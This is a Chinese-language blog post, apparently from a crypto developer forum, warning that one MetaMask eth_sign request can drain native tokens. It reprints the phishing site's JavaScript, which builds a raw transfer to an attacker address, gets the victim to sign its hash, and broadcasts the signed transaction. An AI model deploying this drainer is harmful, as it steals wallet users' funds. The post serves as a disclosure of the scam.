震惊!只需要一次签名,就可以转走你的任意资产!附代码

  • 0f1248
  • 更新于 2022-08-02 14:12
  • 阅读 5168

震惊!只需要一次metamask签名,就可以转走你的任意资产!附代码

最近的安全形势越发严峻,在我的常识当中,metamask签名只会盗取token等资产,而本币(ETH BNB 等)是绝对需要私钥进行签名才能完成转账。以上疏忽,导致我被一个钓鱼网站签名转走了ETH,就一直逆向分析。最终明白了他是通过手动构造交易,然后发送离线签名数据进而转走我的资产!在这里附上代码给大家分析下,同时大家以后可千万不能点击来路不明的签名了!

const appId = "Moralis app id";
Moralis.start({
    serverUrl, appId
});
await Moralis.enableWeb3();
const web3 = new Web3(Moralis.provider); //在这里它使用的是Moralis服务,这个很奇妙,hook不到它的任何请求
let user = Moralis.User.current();
if (!user) {
    user = await Moralis.authenticate();
}

let userAddr = (await web3.eth.getAccounts())[0]; //获取你的小狐狸钱包地址,然后对你的钱包地址分析,获取有价值的资产!
await web3.eth.getTransactionCount(userAddr, "pending").then(async nonce1 => {
    //获取nonce
    console.log("nonce1", nonce1)
    const gasPrice = await web3.eth.getGasPrice() //获取当前链gas

    let _addr = "0x0000000000"; //黑客接收钱包地址
    let chainId = await web3.eth.getChainId(); //获取链id

    let wei_send = 0; // 要转走的金额 这里通常会获取你的全部余额

    //在这里我们可以构造任何交易,可以转走你钱包里的任何资产!
    let tx_ = {
        from: userAddr,
        "to": _addr,
        "nonce": web3.utils.toHex(nonce1),
        "gasLimit": "0x186A0", // gasLimit
        "gasPrice": web3.utils.toHex(Math.floor(gasPrice * 2)),
        "value": web3.utils.toHex(wei_send),
        "data": "0x",
        "v": "0x1",
        "r": "0x",
        "s": "0x"
    }
    var tx = new ethereumjs.Tx(tx_);
    var serializedTx = "0x" + tx.serialize().toString("hex");
    let hexer = {
        "encoding": "hex"
    };

    const sha3_ = web3.utils.sha3(serializedTx, hexer);
    console.log("rawTx1:", serializedTx);
    console.log("rawHash1:", sha3_);

    await web3.eth.sign(sha3_, userAddr).then(async signed => {
        //关键:这里调用小狐狸签名 
        const temporary = signed.substring(2),
            r_ = "0x" + temporary.substring(0, 64),
            s_ = "0x" + temporary.substring(64, 128),
            rhema = parseInt(temporary.substring(128, 130), 16),
            v_ = web3.utils.toHex(rhema + chainId * 2 + 8);
        console.log("r:", r_);
        console.log("s:", s_);
        console.log("y:", v_.toString("hex"));
        tx.r = r_;
        tx.s = s_;
        tx.v = v_;
        console.log(tx);

        console.log("---------------------------------------------");

        const txFin = "0x" + tx.serialize().toString("hex") //,
        const sha3__ = web3.utils.sha3(txFin, hexer);
        console.log("rawTx:", txFin);
        console.log("rawHash:", sha3__);
        //关键:上面的交易通过小狐狸签名请求好后,发送离线交易
        await web3.eth.sendSignedTransaction(txFin).then(elisebeth => console.log(elisebeth)).catch(vannette => console.log(vannette))
    }).catch(heide => console.log(heide))
})
我们可以看到,只调用了小狐狸的一次签名,就把你的资产给转走了。所以以后陌生网站不要随意点击签名了!!!!!!!!!
点赞 3
收藏 4
分享

5 条评论

请先 登录 后评论
0f1248
0f1248
江湖只有他的大名,没有他的介绍。